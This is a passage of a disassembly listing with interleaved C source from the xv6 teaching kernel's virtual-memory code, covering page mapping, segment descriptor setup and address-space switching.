801066e0: 5d pop %ebp
801066e1: c3 ret
801066e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801066e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801066f0 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
801066f0: 55 push %ebp
801066f1: 89 e5 mov %esp,%ebp
801066f3: 57 push %edi
801066f4: 56 push %esi
801066f5: 53 push %ebx
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
801066f6: 89 d3 mov %edx,%ebx
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
801066f8: 83 ec 1c sub $0x1c,%esp
801066fb: 8b 7d 08 mov 0x8(%ebp),%edi
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
801066fe: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80106704: 89 45 e0 mov %eax,-0x20(%ebp)
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
80106707: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax
8010670b: 89 45 e4 mov %eax,-0x1c(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
8010670e: 83 4d 0c 01 orl $0x1,0xc(%ebp)
{
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
80106712: 81 65 e4 00 f0 ff ff andl $0xfffff000,-0x1c(%ebp)
80106719: 29 df sub %ebx,%edi
8010671b: eb 18 jmp 80106735 <mappages+0x45>
8010671d: 8d 76 00 lea 0x0(%esi),%esi
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
80106720: f6 00 01 testb $0x1,(%eax)
80106723: 75 3d jne 80106762 <mappages+0x72>
panic("remap");
*pte = pa | perm | PTE_P;
80106725: 0b 75 0c or 0xc(%ebp),%esi
if(a == last)
80106728: 3b 5d e4 cmp -0x1c(%ebp),%ebx
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
8010672b: 89 30 mov %esi,(%eax)
if(a == last)
8010672d: 74 29 je 80106758 <mappages+0x68>
break;
a += PGSIZE;
8010672f: 81 c3 00 10 00 00 add $0x1000,%ebx
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
80106735: 8b 45 e0 mov -0x20(%ebp),%eax
80106738: b9 01 00 00 00 mov $0x1,%ecx
8010673d: 89 da mov %ebx,%edx
8010673f: 8d 34 3b lea (%ebx,%edi,1),%esi
80106742: e8 19 ff ff ff call 80106660 <walkpgdir>
80106747: 85 c0 test %eax,%eax
80106749: 75 d5 jne 80106720 <mappages+0x30>
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}
8010674b: 83 c4 1c add $0x1c,%esp
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
8010674e: b8 ff ff ff ff mov $0xffffffff,%eax
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}
80106753: 5b pop %ebx
80106754: 5e pop %esi
80106755: 5f pop %edi
80106756: 5d pop %ebp
80106757: c3 ret
80106758: 83 c4 1c add $0x1c,%esp
if(a == last)
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
8010675b: 31 c0 xor %eax,%eax
}
8010675d: 5b pop %ebx
8010675e: 5e pop %esi
8010675f: 5f pop %edi
80106760: 5d pop %ebp
80106761: c3 ret
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
80106762: c7 04 24 d4 78 10 80 movl $0x801078d4,(%esp)
80106769: e8 f2 9b ff ff call 80100360 <panic>
8010676e: 66 90 xchg %ax,%ax
80106770 <deallocuvm.part.0>:
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106770: 55 push %ebp
80106771: 89 e5 mov %esp,%ebp
80106773: 57 push %edi
80106774: 89 c7 mov %eax,%edi
80106776: 56 push %esi
80106777: 89 d6 mov %edx,%esi
80106779: 53 push %ebx
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
8010677a: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106780: 83 ec 1c sub $0x1c,%esp
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
80106783: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < oldsz; a += PGSIZE){
80106789: 39 d3 cmp %edx,%ebx
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
8010678b: 89 4d e0 mov %ecx,-0x20(%ebp)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
8010678e: 72 3b jb 801067cb <deallocuvm.part.0+0x5b>
80106790: eb 5e jmp 801067f0 <deallocuvm.part.0+0x80>
80106792: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pte = walkpgdir(pgdir, (char*)a, 0);
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
80106798: 8b 10 mov (%eax),%edx
8010679a: f6 c2 01 test $0x1,%dl
8010679d: 74 22 je 801067c1 <deallocuvm.part.0+0x51>
pa = PTE_ADDR(*pte);
if(pa == 0)
8010679f: 81 e2 00 f0 ff ff and $0xfffff000,%edx
801067a5: 74 54 je 801067fb <deallocuvm.part.0+0x8b>
panic("kfree");
char *v = P2V(pa);
801067a7: 81 c2 00 00 00 80 add $0x80000000,%edx
kfree(v);
801067ad: 89 14 24 mov %edx,(%esp)
801067b0: 89 45 e4 mov %eax,-0x1c(%ebp)
801067b3: e8 38 bb ff ff call 801022f0 <kfree>
*pte = 0;
801067b8: 8b 45 e4 mov -0x1c(%ebp),%eax
801067bb: c7 00 00 00 00 00 movl $0x0,(%eax)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
801067c1: 81 c3 00 10 00 00 add $0x1000,%ebx
801067c7: 39 f3 cmp %esi,%ebx
801067c9: 73 25 jae 801067f0 <deallocuvm.part.0+0x80>
pte = walkpgdir(pgdir, (char*)a, 0);
801067cb: 31 c9 xor %ecx,%ecx
801067cd: 89 da mov %ebx,%edx
801067cf: 89 f8 mov %edi,%eax
801067d1: e8 8a fe ff ff call 80106660 <walkpgdir>
if(!pte)
801067d6: 85 c0 test %eax,%eax
801067d8: 75 be jne 80106798 <deallocuvm.part.0+0x28>
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
801067da: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
801067e0: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
801067e6: 81 c3 00 10 00 00 add $0x1000,%ebx
801067ec: 39 f3 cmp %esi,%ebx
801067ee: 72 db jb 801067cb <deallocuvm.part.0+0x5b>
kfree(v);
*pte = 0;
}
}
return newsz;
}
801067f0: 8b 45 e0 mov -0x20(%ebp),%eax
801067f3: 83 c4 1c add $0x1c,%esp
801067f6: 5b pop %ebx
801067f7: 5e pop %esi
801067f8: 5f pop %edi
801067f9: 5d pop %ebp
801067fa: c3 ret
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
pa = PTE_ADDR(*pte);
if(pa == 0)
panic("kfree");
801067fb: c7 04 24 f2 71 10 80 movl $0x801071f2,(%esp)
80106802: e8 59 9b ff ff call 80100360 <panic>
80106807: 89 f6 mov %esi,%esi
80106809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106810 <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
80106810: 55 push %ebp
80106811: 89 e5 mov %esp,%ebp
80106813: 83 ec 18 sub $0x18,%esp
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
80106816: e8 45 bf ff ff call 80102760 <cpunum>
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
8010681b: 31 c9 xor %ecx,%ecx
8010681d: ba ff ff ff ff mov $0xffffffff,%edx
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
80106822: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80106828: 05 a0 27 11 80 add $0x801127a0,%eax
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
8010682d: 66 89 50 78 mov %dx,0x78(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106831: ba ff ff ff ff mov $0xffffffff,%edx
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106836: 66 89 48 7a mov %cx,0x7a(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
8010683a: 31 c9 xor %ecx,%ecx
8010683c: 66 89 90 80 00 00 00 mov %dx,0x80(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106843: ba ff ff ff ff mov $0xffffffff,%edx
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106848: 66 89 88 82 00 00 00 mov %cx,0x82(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
8010684f: 31 c9 xor %ecx,%ecx
80106851: 66 89 90 90 00 00 00 mov %dx,0x90(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106858: ba ff ff ff ff mov $0xffffffff,%edx
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
8010685d: 66 89 88 92 00 00 00 mov %cx,0x92(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106864: 31 c9 xor %ecx,%ecx
80106866: 66 89 90 98 00 00 00 mov %dx,0x98(%eax)
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
8010686d: 8d 90 b4 00 00 00 lea 0xb4(%eax),%edx
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106873: 66 89 88 9a 00 00 00 mov %cx,0x9a(%eax)
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
8010687a: 31 c9 xor %ecx,%ecx
8010687c: 66 89 88 88 00 00 00 mov %cx,0x88(%eax)
80106883: 89 d1 mov %edx,%ecx
80106885: c1 e9 10 shr $0x10,%ecx
80106888: 66 89 90 8a 00 00 00 mov %dx,0x8a(%eax)
8010688f: c1 ea 18 shr $0x18,%edx
80106892: 88 88 8c 00 00 00 mov %cl,0x8c(%eax)
static inline void
lgdt(struct segdesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
80106898: b9 37 00 00 00 mov $0x37,%ecx
8010689d: 88 90 8f 00 00 00 mov %dl,0x8f(%eax)
lgdt(c->gdt, sizeof(c->gdt));
801068a3: 8d 50 70 lea 0x70(%eax),%edx
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801068a6: c6 40 7d 9a movb $0x9a,0x7d(%eax)
801068aa: c6 40 7e cf movb $0xcf,0x7e(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
801068ae: c6 80 85 00 00 00 92 movb $0x92,0x85(%eax)
801068b5: c6 80 86 00 00 00 cf movb $0xcf,0x86(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
801068bc: c6 80 95 00 00 00 fa movb $0xfa,0x95(%eax)
801068c3: c6 80 96 00 00 00 cf movb $0xcf,0x96(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
801068ca: c6 80 9d 00 00 00 f2 movb $0xf2,0x9d(%eax)
801068d1: c6 80 9e 00 00 00 cf movb $0xcf,0x9e(%eax)
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
801068d8: c6 80 8d 00 00 00 92 movb $0x92,0x8d(%eax)
801068df: c6 80 8e 00 00 00 c0 movb $0xc0,0x8e(%eax)
801068e6: 66 89 4d f2 mov %cx,-0xe(%ebp)
pd[1] = (uint)p;
801068ea: 66 89 55 f4 mov %dx,-0xc(%ebp)
pd[2] = (uint)p >> 16;
801068ee: c1 ea 10 shr $0x10,%edx
801068f1: 66 89 55 f6 mov %dx,-0xa(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
801068f5: 8d 55 f2 lea -0xe(%ebp),%edx
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
801068f8: c6 40 7c 00 movb $0x0,0x7c(%eax)
801068fc: c6 40 7f 00 movb $0x0,0x7f(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106900: c6 80 84 00 00 00 00 movb $0x0,0x84(%eax)
80106907: c6 80 87 00 00 00 00 movb $0x0,0x87(%eax)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
8010690e: c6 80 94 00 00 00 00 movb $0x0,0x94(%eax)
80106915: c6 80 97 00 00 00 00 movb $0x0,0x97(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
8010691c: c6 80 9c 00 00 00 00 movb $0x0,0x9c(%eax)
80106923: c6 80 9f 00 00 00 00 movb $0x0,0x9f(%eax)
8010692a: 0f 01 12 lgdtl (%edx)
}
static inline void
loadgs(ushort v)
{
asm volatile("movw %0, %%gs" : : "r" (v));
8010692d: ba 18 00 00 00 mov $0x18,%edx
80106932: 8e ea mov %edx,%gs
lgdt(c->gdt, sizeof(c->gdt));
loadgs(SEG_KCPU << 3);
// Initialize cpu-local storage.
cpu = c;
proc = 0;
80106934: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
8010693b: 00 00 00 00
lgdt(c->gdt, sizeof(c->gdt));
loadgs(SEG_KCPU << 3);
// Initialize cpu-local storage.
cpu = c;
8010693f: 65 a3 00 00 00 00 mov %eax,%gs:0x0
proc = 0;
}
80106945: c9 leave
80106946: c3 ret
80106947: 89 f6 mov %esi,%esi
80106949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106950 <setupkvm>:
};
// Set up kernel part of a page table.
pde_t*
setupkvm(void)
{
80106950: 55 push %ebp
80106951: 89 e5 mov %esp,%ebp
80106953: 56 push %esi
80106954: 53 push %ebx
80106955: 83 ec 10 sub $0x10,%esp
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
80106958: e8 43 bb ff ff call 801024a0 <kalloc>
8010695d: 85 c0 test %eax,%eax
8010695f: 89 c6 mov %eax,%esi
80106961: 74 55 je 801069b8 <setupkvm+0x68>
return 0;
memset(pgdir, 0, PGSIZE);
80106963: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010696a: 00
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
8010696b: bb 20 a4 10 80 mov $0x8010a420,%ebx
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
80106970: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106977: 00
80106978: 89 04 24 mov %eax,(%esp)
8010697b: e8 a0 db ff ff call 80104520 <memset>
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80106980: 8b 53 0c mov 0xc(%ebx),%edx
80106983: 8b 43 04 mov 0x4(%ebx),%eax
80106986: 8b 4b 08 mov 0x8(%ebx),%ecx
80106989: 89 54 24 04 mov %edx,0x4(%esp)
8010698d: 8b 13 mov (%ebx),%edx
8010698f: 89 04 24 mov %eax,(%esp)
80106992: 29 c1 sub %eax,%ecx
80106994: 89 f0 mov %esi,%eax
80106996: e8 55 fd ff ff call 801066f0 <mappages>
8010699b: 85 c0 test %eax,%eax
8010699d: 78 19 js 801069b8 <setupkvm+0x68>
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
8010699f: 83 c3 10 add $0x10,%ebx
801069a2: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
801069a8: 72 d6 jb 80106980 <setupkvm+0x30>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
return 0;
return pgdir;
}
801069aa: 83 c4 10 add $0x10,%esp
801069ad: 89 f0 mov %esi,%eax
801069af: 5b pop %ebx
801069b0: 5e pop %esi
801069b1: 5d pop %ebp
801069b2: c3 ret
801069b3: 90 nop
801069b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801069b8: 83 c4 10 add $0x10,%esp
{
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
801069bb: 31 c0 xor %eax,%eax
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
return 0;
return pgdir;
}
801069bd: 5b pop %ebx
801069be: 5e pop %esi
801069bf: 5d pop %ebp
801069c0: c3 ret
801069c1: eb 0d jmp 801069d0 <kvmalloc>
801069c3: 90 nop
801069c4: 90 nop
801069c5: 90 nop
801069c6: 90 nop
801069c7: 90 nop
801069c8: 90 nop
801069c9: 90 nop
801069ca: 90 nop
801069cb: 90 nop
801069cc: 90 nop
801069cd: 90 nop
801069ce: 90 nop
801069cf: 90 nop
801069d0 <kvmalloc>:
// Allocate one page table for the machine for the kernel address
// space for scheduler processes.
void
kvmalloc(void)
{
801069d0: 55 push %ebp
801069d1: 89 e5 mov %esp,%ebp
801069d3: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
801069d6: e8 75 ff ff ff call 80106950 <setupkvm>
801069db: a3 24 5d 11 80 mov %eax,0x80115d24
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
lcr3(V2P(kpgdir)); // switch to the kernel page table
801069e0: 05 00 00 00 80 add $0x80000000,%eax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
801069e5: 0f 22 d8 mov %eax,%cr3
void
kvmalloc(void)
{
kpgdir = setupkvm();
switchkvm();
}
801069e8: c9 leave
801069e9: c3 ret
801069ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801069f0 <switchkvm>:
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
lcr3(V2P(kpgdir)); // switch to the kernel page table
801069f0: a1 24 5d 11 80 mov 0x80115d24,%eax
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
801069f5: 55 push %ebp
801069f6: 89 e5 mov %esp,%ebp
lcr3(V2P(kpgdir)); // switch to the kernel page table
801069f8: 05 00 00 00 80 add $0x80000000,%eax
801069fd: 0f 22 d8 mov %eax,%cr3
}
80106a00: 5d pop %ebp
80106a01: c3 ret
80106a02: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106a10 <switchuvm>:
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
80106a10: 55 push %ebp
80106a11: 89 e5 mov %esp,%ebp
80106a13: 53 push %ebx
80106a14: 83 ec 14 sub $0x14,%esp
80106a17: 8b 5d 08 mov 0x8(%ebp),%ebx
if(p == 0)
80106a1a: 85 db test %ebx,%ebx
80106a1c: 0f 84 94 00 00 00 je 80106ab6 <switchuvm+0xa6>
panic("switchuvm: no process");
if(p->kstack == 0)
80106a22: 8b 43 08 mov 0x8(%ebx),%eax
80106a25: 85 c0 test %eax,%eax
80106a27: 0f 84 a1 00 00 00 je 80106ace <switchuvm+0xbe>
panic("switchuvm: no kstack");
if(p->pgdir == 0)
80106a2d: 8b 43 04 mov 0x4(%ebx),%eax
80106a30: 85 c0 test %eax,%eax
80106a32: 0f 84 8a 00 00 00 je 80106ac2 <switchuvm+0xb2>
panic("switchuvm: no pgdir");
pushcli();
80106a38: e8 13 da ff ff call 80104450 <pushcli>
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
80106a3d: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106a43: b9 67 00 00 00 mov $0x67,%ecx
80106a48: 8d 50 08 lea 0x8(%eax),%edx
80106a4b: 66 89 88 a0 00 00 00 mov %cx,0xa0(%eax)
80106a52: 89 d1 mov %edx,%ecx
80106a54: 66 89 90 a2 00 00 00 mov %dx,0xa2(%eax)
80106a5b: c1 ea 18 shr $0x18,%edx
80106a5e: 88 90 a7 00 00 00 mov %dl,0xa7(%eax)
80106a64: c1 e9 10 shr $0x10,%ecx
cpu->gdt[SEG_TSS].s = 0;
cpu->ts.ss0 = SEG_KDATA << 3;
80106a67: ba 10 00 00 00 mov $0x10,%edx
80106a6c: 66 89 50 10 mov %dx,0x10(%eax)
panic("switchuvm: no kstack");
if(p->pgdir == 0)
panic("switchuvm: no pgdir");
pushcli();
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
80106a70: 88 88 a4 00 00 00 mov %cl,0xa4(%eax)
80106a76: c6 80 a6 00 00 00 40 movb $0x40,0xa6(%eax)
cpu->gdt[SEG_TSS].s = 0;
80106a7d: c6 80 a5 00 00 00 89 movb $0x89,0xa5(%eax)
cpu->ts.ss0 = SEG_KDATA << 3;
cpu->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
80106a84: 8b 4b 08 mov 0x8(%ebx),%ecx
80106a87: 8d 91 00 10 00 00 lea 0x1000(%ecx),%edx
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
cpu->ts.iomb = (ushort) 0xFFFF;
80106a8d: b9 ff ff ff ff mov $0xffffffff,%ecx
pushcli();
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
cpu->gdt[SEG_TSS].s = 0;
cpu->ts.ss0 = SEG_KDATA << 3;
cpu->ts.esp0 = (uint)p->kstack + KSTACKSIZE;
80106a92: 89 50 0c mov %edx,0xc(%eax)
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
cpu->ts.iomb = (ushort) 0xFFFF;
80106a95: 66 89 48 6e mov %cx,0x6e(%eax)
}
static inline void
ltr(ushort sel)
{
asm volatile("ltr %0" : : "r" (sel));
80106a99: b8 30 00 00 00 mov $0x30,%eax
80106a9e: 0f 00 d8 ltr %ax
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
80106aa1: 8b 43 04 mov 0x4(%ebx),%eax
80106aa4: 05 00 00 00 80 add $0x80000000,%eax
}
static inline void
lcr3(uint val)
{
asm volatile("movl %0,%%cr3" : : "r" (val));
80106aa9: 0f 22 d8 mov %eax,%cr3
popcli();
}
80106aac: 83 c4 14 add $0x14,%esp
80106aaf: 5b pop %ebx
80106ab0: 5d pop %ebp
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
cpu->ts.iomb = (ushort) 0xFFFF;
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
popcli();
80106ab1: e9 ca d9 ff ff jmp 80104480 <popcli>
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
if(p == 0)
panic("switchuvm: no process");
80106ab6: c7 04 24 da 78 10 80 movl $0x801078da,(%esp)
80106abd: e8 9e 98 ff ff call 80100360 <panic>
if(p->kstack == 0)
panic("switchuvm: no kstack");
if(p->pgdir == 0)
panic("switchuvm: no pgdir");
80106ac2: c7 04 24 05 79 10 80 movl $0x80107905,(%esp)
80106ac9: e8 92 98 ff ff call 80100360 <panic>
switchuvm(struct proc *p)
{
if(p == 0)
panic("switchuvm: no process");
if(p->kstack == 0)
panic("switchuvm: no kstack");
80106ace: c7 04 24 f0 78 10 80 movl $0x801078f0,(%esp)
80106ad5: e8 86 98 ff ff call 80100360 <panic>
80106ada: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106ae0 <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80106ae0: 55 push %ebp
80106ae1: 89 e5 mov %esp,%ebp
80106ae3: 57 push %edi
80106ae4: 56 push %esi
80106ae5: 53 push %ebx
80106ae6: 83 ec 1c sub $0x1c,%esp
80106ae9: 8b 75 10 mov 0x10(%ebp),%esi
80106aec: 8b 45 08 mov 0x8(%ebp),%eax
80106aef: 8b 7d 0c mov 0xc(%ebp),%edi
char *mem;
if(sz >= PGSIZE)
80106af2: 81 fe ff 0f 00 00 cmp $0xfff,%esi
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80106af8: 89 45 e4 mov %eax,-0x1c(%ebp)
char *mem;
if(sz >= PGSIZE)
80106afb: 77 54 ja 80106b51 <inituvm+0x71>
panic("inituvm: more than a page");
mem = kalloc();
80106afd: e8 9e b9 ff ff call 801024a0 <kalloc>
memset(mem, 0, PGSIZE);
80106b02: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106b09: 00
80106b0a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106b11: 00
{
char *mem;
if(sz >= PGSIZE)
panic("inituvm: more than a page");
mem = kalloc();
80106b12: 89 c3 mov %eax,%ebx
memset(mem, 0, PGSIZE);
